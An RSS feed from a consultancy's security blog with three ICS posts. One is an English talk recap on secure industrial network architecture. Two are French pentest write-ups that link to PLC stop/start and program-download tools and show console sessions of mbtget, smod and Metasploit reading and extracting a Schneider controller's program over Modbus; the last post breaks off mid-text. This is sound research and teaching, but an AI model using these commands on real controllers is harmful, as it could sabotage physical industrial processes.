<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>ICS - RiskInsight</title>
	<atom:link href="https://www.riskinsight-wavestone.com/en/tag/ics-2-en/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.riskinsight-wavestone.com/en/tag/ics-2-en/</link>
	<description>The cybersecurity &#38; digital trust blog by Wavestone&#039;s consultants</description>
	<lastBuildDate>Wed, 21 Sep 2022 09:09:33 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/Blogs-2024_RI-39x39.png</url>
	<title>ICS - RiskInsight</title>
	<link>https://www.riskinsight-wavestone.com/en/tag/ics-2-en/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>S4x22 &#8211; A Tale of Two (very different) Secure ICS architectures</title>
		<link>https://www.riskinsight-wavestone.com/en/2022/07/s4x22-a-tale-of-two-very-different-secure-ics-architectures-2/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2022/07/s4x22-a-tale-of-two-very-different-secure-ics-architectures-2/#respond</comments>
		
		<dc:creator><![CDATA[Alexandrine Torrents]]></dc:creator>
		<pubDate>Fri, 08 Jul 2022 09:53:32 +0000</pubDate>
				<category><![CDATA[Challenges]]></category>
		<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[ICS]]></category>
		<category><![CDATA[S4x22]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=18298</guid>

					<description><![CDATA[<p>Introduction As stated in a previous article, this year, I had the opportunity to talk on the Main Stage at s4, ​​a 3 day conference, dedicated to ICS cybersecurity, held in Miami South Beach from April 19th to April 21st...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2022/07/s4x22-a-tale-of-two-very-different-secure-ics-architectures-2/">S4x22 &#8211; A Tale of Two (very different) Secure ICS architectures</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2>Introduction</h2>
<p>As stated in a <a href="https://www.riskinsight-wavestone.com/en/2022/05/s4x22-write-up-of-the-ics-cybersecurity-conference/">previous article</a>, this year, I had the opportunity to talk on the Main Stage at s4, ​​a 3 day conference, dedicated to ICS cybersecurity, held in Miami South Beach from April 19th to April 21st 2022 and organized by Dale Peterson.</p>
<p>This year’s theme was “No Limits!”. It gave me the idea of thinking about the future of ICS network architectures. </p>
<p>The video of the talk is now available on S4Events YouTube channel: <a href="https://youtu.be/jzadpM7khWk">link</a></p>
<p>So, it is the opportunity to give you more details on the presentation.</p>
<h2>Genesis of the presentation</h2>
<p>In my engagements at Wavestone, I work a lot on ICS cybersecurity within different companies. These past few years, my work assisting and supporting ICS CISOs focused more and more on network architectures. I have heard a lot these kinds of statements:</p>
<ul>
<li>“I need to send data to the Cloud to be able to optimize my production”</li>
<li>“My plant is operated by an external partner, and I need to connect to its information system”</li>
<li>“In my line of business, I am required legally and contractually to send this kind of industrial data to a third party”</li>
</ul>
<p>There are more and more business needs requiring interconnections with the ICS that seem legitimate. Yet, how do we allow these interconnections in a secure way? And can we say yes to everything?</p>
<p>ICS cybersecurity requirements have always been the same. And in terms of network architecture, we always come to the Purdue Model, as well as the zones and conduits methodology. Traditionally there has been a rigidity to what a &#8220;secure&#8221; ICS architecture is. The Internet tends to be seen as the devil when we talk about ICS.</p>
<p>Well, “No Limits!” made me want to dream a little bit. What if I could start from scratch and build my dream architecture for ICS without any limit?</p>
<p>In my presentation, I compare and contrast the requirements and corresponding secure ICS network architecture of two very different businesses within the same company: power plants and solar/wind farms. </p>
<h2>A Tale of Two (very different) Secure ICS architectures</h2>
<h3>Presentation of the use case</h3>
<p>I have been working for companies that have a large variety of control systems:</p>
<ul>
<li>Historical businesses: power plants (nuclear, chemical), refineries </li>
<li>New businesses: solar and wind farms</li>
</ul>
<p>These various businesses can now be found within the same company.</p>
<p>For these companies, the existing ICS cybersecurity policy needs to be adapted to new usages and businesses. <strong>How can we define cybersecurity requirements/rules that would apply to the entire company?</strong></p>
<p>In the presentation, I present in detail the two use cases. </p>
<p><img fetchpriority="high" decoding="async" class="aligncenter size-full wp-image-18021" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/image-1-a-tale-of-two.png" alt="" width="602" height="348" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/image-1-a-tale-of-two.png 602w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/image-1-a-tale-of-two-330x191.png 330w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/image-1-a-tale-of-two-67x39.png 67w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/image-1-a-tale-of-two-120x70.png 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/image-1-a-tale-of-two-600x348.png 600w" sizes="(max-width: 602px) 100vw, 602px" /></p>
<h3>The historical ICS secure architecture</h3>
<p>First let’s consider the <strong>historical architecture</strong>. It follows the Purdue Model, with the good old ICS cybersecurity requirements:</p>
<ul>
<li>DMZ between IT and OT network, protected by firewalls (one firewall between OT and DMZ and one firewall between DMZ and IT)</li>
<li>No direct communication between IT and OT networks</li>
<li>Protocol break in the DMZ (use of relay servers)</li>
<li>No local Internet access on the OT network (Internet access goes through the IT network)</li>
</ul>
<p><img decoding="async" class="aligncenter size-full wp-image-18023" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image2-ATOT.png" alt="" width="602" height="337" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image2-ATOT.png 602w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image2-ATOT-341x191.png 341w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image2-ATOT-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image2-ATOT-600x337.png 600w" sizes="(max-width: 602px) 100vw, 602px" /></p>
<p>When we <strong>try to apply the same architecture principles</strong> to the solar/wind farm use case, we end up with something that does not make sense:</p>
<ul>
<li>OT to OT communications going through the IT network</li>
<li>Many DMZs and two firewall for each industrial site, even the ones with only a couple of assets on the network</li>
</ul>
<p><img decoding="async" class="aligncenter size-full wp-image-18031" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/ATOT-Image3.png" alt="" width="602" height="336" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/ATOT-Image3.png 602w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/ATOT-Image3-342x191.png 342w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/ATOT-Image3-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/ATOT-Image3-600x336.png 600w" sizes="(max-width: 602px) 100vw, 602px" /></p>
<h3>The solar/wind farm secure architecture</h3>
<p>So, we try something else and start from scratch. What if we could <strong>build a geographically distributed industrial network leveraging SD-WAN technology</strong>?</p>
<ul>
<li>OT network
<ul>
<li>SD-WAN edge with next generation firewall at each location</li>
<li>VPN IPSEC tunnels between sites</li>
<li>Filtering rules through the VPN to allow only legitimate flows, such as Modbus for example</li>
<li>Detection with IDS activation on firewalls</li>
</ul>
</li>
<li>DMZ in the Cloud
<ul>
<li>Mainly a DMZ between the OT network and the Internet directly (we have Internet access without going through the IT network anymore)</li>
<li>Several firewalls to protect the different zones</li>
<li>Central services for the OT network
<ul>
<li>Bastion for remote access</li>
<li>Antivirus and update servers: they get their updates from the Internet directly (official websites) through URL whitelisting with proxies and then distribute updates to the OT network through the SD-WAN architecture</li>
</ul>
</li>
</ul>
</li>
<li>IT network
<ul>
<li>Interconnection through the Cloud only with another dedicated firewall</li>
</ul>
</li>
</ul>
<p>Here are the main differences with the previous architecture:</p>
<ul>
<li>We do not go through the IT network anymore to make industrial sites communicate with each other</li>
<li>We have a DMZ between the OT network and the Internet directly</li>
<li>We only need one global DMZ for the industrial network</li>
</ul>
<p> </p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-18029" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/a-tale-of-two-Image4.png" alt="" width="602" height="335" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/a-tale-of-two-Image4.png 602w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/a-tale-of-two-Image4-343x191.png 343w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/a-tale-of-two-Image4-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/a-tale-of-two-Image4-600x335.png 600w" sizes="auto, (max-width: 602px) 100vw, 602px" /></p>
<p>However, be careful. This architecture is <strong>riskier</strong> than the historical one. </p>
<ul>
<li>Maintaining a good cybersecurity level is difficult. Errors can be observed with time on the SD-WAN. For example, we could expose a site directly on the Internet because of a misconfiguration of the SD-WAN edge</li>
<li>Several requirements need to be respected to protect industrial assets:
<ul>
<li>Communications must be controlled from end-to-end.</li>
<li>Communications are secured based on level and business need: VPN IPSEC tunnels, network filtering, relays when needed, authentication, encryption, detection, etc.</li>
</ul>
</li>
</ul>
<p><strong>Rigor is key</strong> with this architecture. And actually, what I like the most is the fact that cybersecurity basics need to be respected… finally!</p>
<h2>ICS classification methodology</h2>
<p>Now let’s go back to our initial objective: how can we formalize cybersecurity requirements for the entire company and differentiate ICS secure architectures?</p>
<p>Can we build something around risks?</p>
<p>I present an <strong>ICS classification methodology </strong>based on a standard risk-based approach:</p>
<ul>
<li>Impact: using the standard HSE impact scale of the company </li>
<li>Likelihood: considering several factors, such as the functionality of the system or its connectivity</li>
</ul>
<p>With the impact and the likelihood, we can place our system on a risk matrix which gives the classification of the system. In this example, we have 4 classes of ICS.</p>
<p> </p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-18027" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/A-TALE-OF-2Image5.png" alt="" width="602" height="338" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/A-TALE-OF-2Image5.png 602w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/A-TALE-OF-2Image5-340x191.png 340w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/A-TALE-OF-2Image5-69x39.png 69w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/A-TALE-OF-2Image5-600x338.png 600w" sizes="auto, (max-width: 602px) 100vw, 602px" /></p>
<p>Then, I apply it to our two use cases. We end up with a different classification for our systems:</p>
<ul>
<li>Class 2 system for the solar/wind farm
<ul>
<li>Limited impact (2) because there is no HSE risk</li>
<li>Important likelihood (3) because of the high connectivity of the system</li>
</ul>
</li>
<li>Class 3 system for the power plant
<ul>
<li>High impact (3) because of the HSE risk</li>
<li>Low likelihood (2) because the system have limited interconnections</li>
</ul>
</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-18025" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/a-tale-of-2-Image6.png" alt="" width="602" height="339" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/a-tale-of-2-Image6.png 602w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/a-tale-of-2-Image6-339x191.png 339w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/a-tale-of-2-Image6-69x39.png 69w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/a-tale-of-2-Image6-600x339.png 600w" sizes="auto, (max-width: 602px) 100vw, 602px" /></p>
<p>So, in our ICS cybersecurity policy, we can have different cybersecurity requirements depending on the classification of the system.</p>
<h2>Takeaways</h2>
<p>Several factors can be taken into account for an architecture decision:</p>
<ul>
<li>What does the control system do?</li>
<li>What would be the impact of a cyberattack?</li>
<li>What is the level of exposition of the system?</li>
</ul>
<p>To conclude the presentation, I encourage companies to launch a taskforce to support projects and build secure architecture for new ICS usages. A good idea could be to <strong>build architecture patterns</strong>: identify several use cases for the company and build reference architectures based on risk analysis. </p>
<p>However, find the right balance: having different secure architectures for each of your use cases within the company is good, but only up to a certain level of manageability. Indeed, you will have to maintain all these architectures and solutions. So unfortunately, you cannot have as many architectures as control systems!</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2022/07/s4x22-a-tale-of-two-very-different-secure-ics-architectures-2/">S4x22 &#8211; A Tale of Two (very different) Secure ICS architectures</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2022/07/s4x22-a-tale-of-two-very-different-secure-ics-architectures-2/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Pentesting ICS 101</title>
		<link>https://www.riskinsight-wavestone.com/en/2018/12/pentesting-ics-one-0-one/</link>
		
		<dc:creator><![CDATA[Ris4InsigHt]]></dc:creator>
		<pubDate>Thu, 06 Dec 2018 07:07:25 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[attaque]]></category>
		<category><![CDATA[ICS]]></category>
		<category><![CDATA[Industrie 4.0]]></category>
		<category><![CDATA[Manufacturing]]></category>
		<category><![CDATA[maquette]]></category>
		<category><![CDATA[Schneider]]></category>
		<category><![CDATA[Siemens]]></category>
		<category><![CDATA[train]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15531</guid>

					<description><![CDATA[<p>Wavestone possède depuis plusieurs années des démonstrateurs sur la sécurité des systèmes industriels. En particulier, vous avez peut-être déjà rencontré notre maquette de train et bras robotiques avec un capture the Flag physique ! Cette maquette de train est principalement...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2018/12/pentesting-ics-one-0-one/">Pentesting ICS 101</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h2></h2>
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15533 media-15533" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15533 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/985A0069.jpg" alt="" width="640" height="426" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/985A0069.jpg 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/985A0069-287x191.jpg 287w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/985A0069-59x39.jpg 59w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<p>Wavestone possède depuis plusieurs années des démonstrateurs sur la sécurité des systèmes industriels. En particulier, vous avez peut-être déjà rencontré notre maquette de train et bras robotiques avec un <b>capture the Flag physique </b>!</p>
<p>Cette maquette de train est principalement utilisée pour des workshops dans des<b> conférences de sécurité </b>(Black Hat Europe 2014, BruCON 2015 &amp; 2017, DEF CON 2016 &amp; 2018, Bsides LV, etc.), ou des <b>cours en école d&#8217;ingénieurs</b> (EPITA, Mines, ESIEA, Télécom Sud Paris, etc.).</p>
<p>En plus des conférences et des cours en école, nous avons tourné cet été une <b>vidéo</b> de la maquette afin de présenter les principales attaques sur les systèmes industriels, et en particulier <b>l’insécurité des protocoles industriels.</b></p>
<p>La première partie de la vidéo rappelle ce que sont les systèmes industriels et présente les <b>principales familles de risques et vulnérabilités</b> sur ces systèmes :</p>
<ul>
<li>Des défauts d’organisation et de sensibilisation des acteurs</li>
<li>L’absence de supervision de sécurité</li>
<li>L’absence de mécanismes de sécurité dans les équipements et les protocoles</li>
<li>La non-maitrise des sous-traitants et de la maintenance</li>
<li>La ségrégation inexistante des réseaux</li>
<li>L’absence de patch management</li>
</ul>
<p><iframe loading="lazy" src="https://tinyurl.com/y7527yhk" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
<p>La seconde partie de la vidéo rentre plus dans la pratique, avec tout d’abord la présentation de la maquette : les automates, la supervision ainsi que le fonctionnement général.<br />
L’objectif est d’attaquer les automates : il faut arrêter le train et attraper son drapeau à l’aide des bras robotiques.<br />
Différents outils de lecture et écriture de registres sont alors présentés :</p>
<ul>
<li>S7getDB pour les automates Siemens</li>
<li>Mbtget pour les automates Schneider</li>
</ul>
<p>Enfin, nous concluons sur le fait qu’il est relativement<br />
facile de piloter les automates de manière illégitime avec des outils<br />
implémentant les protocoles de communication industriel. Par ailleurs, bien que<br />
de nouvelles gammes d’automates, plus robustes, existent chez certains<br />
constructeurs, la première étape de sécurisation consiste à <b>cloisonner et<br />
filtrer </b>ses réseaux industriels</p>
<p><iframe loading="lazy" src="https://tinyurl.com/yaxwx4ev" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
<div class="MsoNormal"></div>
<div class="MsoNormal">Vous pouvez trouver les différents outils présentés dans la vidéo, ainsi que nos autres outils aux adresses ci-dessous :</div>
<ul>
<li>Outils pour la lecture et l’écriture de registres (Modbus ou S7)
<ul>
<li>Mbtget – outil perl pour les requêtes de lecture/écriture Modbus <a href="https://github.com/sourceperl/mbtget">https://github.com/sourceperl/mbtget</a></li>
<li>S7get et S7getDB – outil python pour les requêtes de lecture/écriture sur les automates Siemens développé par Wavestone : <a href="https://github.com/wavestone-cdt/s7-get">https://github.com/wavestone-cdt/s7-get</a></li>
</ul>
</li>
<li>Modbusclient – module Metasploit pour les requêtes de lecture/écriture Modbus (contribution Wavestone) : <a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/scada/modbusclient.rb">https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/scada/modbusclient.rb </a></li>
<li>Outils utilisant la fonction 90 de Modbus pour l’administration (un article détaillé est par ailleurs disponible ici : <a href="https://www.securityinsider-wavestone.com/2018/02/fun-with-modbus-0x5a.html">https://www.securityinsider-wavestone.com/2018/02/fun-with-modbus-0x5a.html</a></li>
<li>Modicon_command_CTv2 – module Metasploit pour arrêter/démarrer une CPU (contribution Wavestone) :<a href="https://github.com/wavestone-cdt/fun-with-modbus-0x5a/blob/master/modicon_command_CTv2.rb"> https://github.com/wavestone-cdt/fun-with-modbus-0x5a/blob/master/modicon_command_CTv2.rb</a></li>
<li>Modicon_stux_transfer_ASO – module Metasploit pour télécharger le programme d’un automate (contribution Wavestone) : <a href="https://github.com/wavestone-cdt/fun-with-modbus-0x5a/blob/master/modicon_stux_transfer_ASO.rb">https://github.com/wavestone-cdt/fun-with-modbus-0x5a/blob/master/modicon_stux_transfer_ASO.rb</a></li>
<li>Schneider – module pour forcer les entrées / sorties d’un automate développé par Wavestone : <a href="https://github.com/wavestone-cdt/fun-with-modbus-0x5a/blob/master/schneider.rb">https://github.com/wavestone-cdt/fun-with-modbus-0x5a/blob/master/schneider.rb</a></li>
</ul>
<div class="MsoNormal"></div>
<div class="MsoNormal"></div>
<div class="MsoNormal"></div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2018/12/pentesting-ics-one-0-one/">Pentesting ICS 101</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Fun with Modbus 0x5A</title>
		<link>https://www.riskinsight-wavestone.com/en/2018/02/fun-with-modbus-0x5a/</link>
		
		<dc:creator><![CDATA[Arnaud Soullié]]></dc:creator>
		<pubDate>Fri, 09 Feb 2018 17:45:05 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[analyse]]></category>
		<category><![CDATA[audit]]></category>
		<category><![CDATA[ICS]]></category>
		<category><![CDATA[modbus]]></category>
		<category><![CDATA[SCADA]]></category>
		<category><![CDATA[SI industriel]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15813</guid>

					<description><![CDATA[<p>Lors de la dernière édition de la DEFCON, nous avons présenté nos travaux de R&#38;D concernant un protocole propriétaire Schneider à l’ICS Village, espace dédié à la sécurité des SI industriels. Vous pouvez retrouver notre intervention en vidéo : https://www.youtube.com/watch?v=A_B69Rifu1g Revenons...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2018/02/fun-with-modbus-0x5a/">Fun with Modbus 0x5A</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="separator" style="clear: both; text-align: center;"></div>
<div style="text-align: justify;">
<figure id="post-15816 media-15816" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15816 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/1.jpg" alt="" width="640" height="168" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/1.jpg 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/1-437x115.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/1-71x19.jpg 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<p>Lors de la dernière édition de la DEFCON, nous avons présenté nos travaux de R&amp;D concernant un protocole propriétaire Schneider à l’ICS Village, espace dédié à la sécurité des SI industriels.</p>
</div>
<div style="text-align: justify;">Vous pouvez retrouver notre intervention en vidéo : <a href="https://www.youtube.com/watch?v=A_B69Rifu1g">https://www.youtube.com/watch?v=A_B69Rifu1g</a></div>
<div style="text-align: justify;">Revenons sur ces travaux et la manière dont ils peuvent être exploités.</div>
<div style="text-align: justify;">
<p>&nbsp;</p>
<h2>Le protocole Modbus</h2>
</div>
<div style="text-align: justify;">Le protocole Modbus est un standard de communication utilisé dans les SI industriels. Développé dans les années 70 sur liaison série RS-485, il est désormais très répandu dans sa version TCP utilisable sur une liaison Ethernet classique.</div>
<div style="text-align: justify;">Le protocole Modbus défini un certain nombre de fonctions, qui servent majoritairement à lire/écrire des données sur un automate programmable industriel.</div>
<div style="text-align: justify;"></div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>root@kali:mbtget-master# ./mbtget -r3 -a 0 -n 8 192.168.0.110
values:
  1 (ad 00000):     1
  2 (ad 00001):     0
  3 (ad 00002):     0
  4 (ad 00003):     1
  5 (ad 00004):     0
  6 (ad 00005):     0
  7 (ad 00006):     0
  8 (ad 00007):     0</pre>
</div>
<div style="text-align: center;"><i>Lecture de données Modbus avec le programme « mbtget »</i></div>
<p>&nbsp;</p>
<div style="text-align: justify;">D’autres fonctions Modbus existent, comme l’indique ce tableau provenant du standard officiel :</div>
<div style="text-align: justify;">
<figure id="post-15818 media-15818" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15818 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/2-1.png" alt="" width="640" height="442" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/2-1.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/2-1-277x191.png 277w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/2-1-56x39.png 56w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/2-1-245x170.png 245w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<div style="text-align: justify;">
<div style="text-align: center;"><i>Spécifications du protocole Modbus (http://www.modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf)</i></div>
</div>
<p>&nbsp;</p>
<div style="text-align: justify;">Il est possible d’identifier la liste des fonctions Modbus supportées par un automate, par exemple avec l’outil smod:</div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>root@kali:~/smod# python smod.py 
&lt; SMOD &gt;
 ------- 
        \   ^__^
         \  (xx)\_______
            (__)\       )\/\
             U  ||----w |
                ||     ||
          --=[MODBUS Penetration Test FrameWork
       --+--=[Version : 1.0.4
       --+--=[Modules : 23
       --+--=[Coder   : Farzin Enddo
          --=[github  : www.github.com/enddo

SMOD &gt; use modbus/scanner/getfunc
SMOD modbus(getfunc) &gt; show options
 Name     Current Setting  Required  Description                                 
 ----     ---------------  --------  -----------                                 
 Output   True             False     The stdout save in output directory         
 RHOSTS                    True      The target address range or CIDR identifier 
 RPORT    502              False     The port number for modbus protocol         
 Threads  1                False     The number of concurrent threads            
 UID      None             True      Modbus Slave UID.                           
SMOD modbus(getfunc) &gt; set RHOSTS 192.168.0.110
SMOD modbus(getfunc) &gt; set UID 1
SMOD modbus(getfunc) &gt; exploit
[+] Module Get Function Start
[+] Looking for supported function codes on 192.168.0.110
[+] Function Code 1(Read Coils) is supported.
[+] Function Code 2(Read Discrete Inputs) is supported.
[+] Function Code 3(Read Multiple Holding Registers) is supported.
[+] Function Code 4(Read Input Registers) is supported.
[+] Function Code 5(Write Single Coil) is supported.
[+] Function Code 6(Write Single Holding Register) is supported.
[+] Function Code 8(Diagnostic) is supported.
[+] Function Code 15(Write Multiple Coils) is supported.
[+] Function Code 16(Write Multiple Holding Registers) is supported.
[+] Function Code 22(Mask Write Register) is supported.
[+] Function Code 23(Read/Write Multiple Registers) is supported.
[+] Function Code 43(Read Device Identification) is supported.
[+] Function Code 90 is supported.</pre>
</div>
<p>&nbsp;</p>
<p>On peut ainsi utiliser les fonctions de diagnostique pour identifier précisément l’automate, en l’occurrence un Schneider M340 :</p>
<div style="text-align: justify;">
<p class="separator" style="clear: both; text-align: center;">
<figure id="post-15820 media-15820" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15820 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/3.jpg" alt="" width="375" height="206" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/3.jpg 375w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/3-348x191.jpg 348w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/3-71x39.jpg 71w" sizes="auto, (max-width: 375px) 100vw, 375px" /></figure>
</div>
<div style="text-align: justify;">
<p>&nbsp;</p>
<h2>La fonction Modbus 0x5a</h2>
</div>
<div style="text-align: justify;">
<h3>Historique</h3>
</div>
<div style="text-align: justify;">L’utilisation du protocole Modbus pour la programmation des automates Schneider a été révélée publiquement grâce aux travaux du projet Basecamp lors de la célèbre conférence S4, dédiée à la sécurité des SI industriels : <a href="http://www.digitalbond.com/blog/2012/01/19/project-basecamp-at-s4/">http://www.digitalbond.com/blog/2012/01/19/project-basecamp-at-s4/</a></div>
<div style="text-align: justify;">Vous pouvez retrouver les vulnérabilités identifiées sur les systèmes Schneider (et bien d’autres) dans la présentation de Reid Wightman : <a href="https://youtu.be/dtadMIN3CCc?t=35m29">https://youtu.be/dtadMIN3CCc?t=35m29</a>s</div>
<div style="text-align: justify;">Nous avions déjà évoqué cette fonctionnalité dans notre article dédié au pentest d’automates dans le magazine MISC 74 . Il suffit d’observer les trames réseau échangées entre Unity Pro et l’automate lors de sa programmation pour identifier que c’est le protocole Modbus qui est utilisé, via une fonction non-documentée (90) :</div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<div style="text-align: center;">
<figure id="post-15822 media-15822" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15822 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/4.jpg" alt="" width="640" height="168" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/4.jpg 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/4-437x115.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/4-71x19.jpg 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<div style="text-align: center;"><i>Capture réseau des échanges entre le logiciel de programmation et un automate Schneider</i></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Comme les autres fonctions Modbus, il n’existe aucun mécanisme de sécurité pour ce protocole de programmation : il suffit d’avoir un accès réseau sur le port TCP 502 d’un automate pour pouvoir réaliser des actions d’administration.</div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<h3>Récupération du programme automate</h3>
</div>
<div style="text-align: justify;">La récupération du programme de l’automate n’était, en tout cas dans nos tests, pas totalement fonctionnelle dans le module publié lors du projet Basecamp. Nous avions pu le modifier légèrement afin de prendre en compte des programmes de taille plus importante. Nous avons simplement eu à modifier un compteur pour la rendre fonctionnelle. Détaillons son utilisation.</div>
<div style="text-align: justify;">
<ul>
<li>Création d’une archive programme vide : Dans le logiciel Unity Pro, ouvrons un programme existant et enregistrons-le en tant qu’archive (« .sta »)</li>
<li>Récupérons le programme de l’automate</li>
</ul>
</div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>msf auxiliary(modicon_stux_transfer_ASO) &gt; set ACTION DOWNLOAD
ACTION =&gt; DOWNLOAD
msf auxiliary(modicon_stux_transfer_ASO) &gt; run

[*] 192.168.0.110:502 - MODBUS - Sending read request
[*] 192.168.0.110:502 - MODBUS - Retrieving file
[*] 192.168.0.110:502 - MODBUS - Closing file  '/opt/metasploit/apps/pro/msf3/data
/exploits/modicon_ladder.apx'
[*] Auxiliary module execution completed
msf auxiliary(modicon_stux_transfer_ASO) &gt;</pre>
</div>
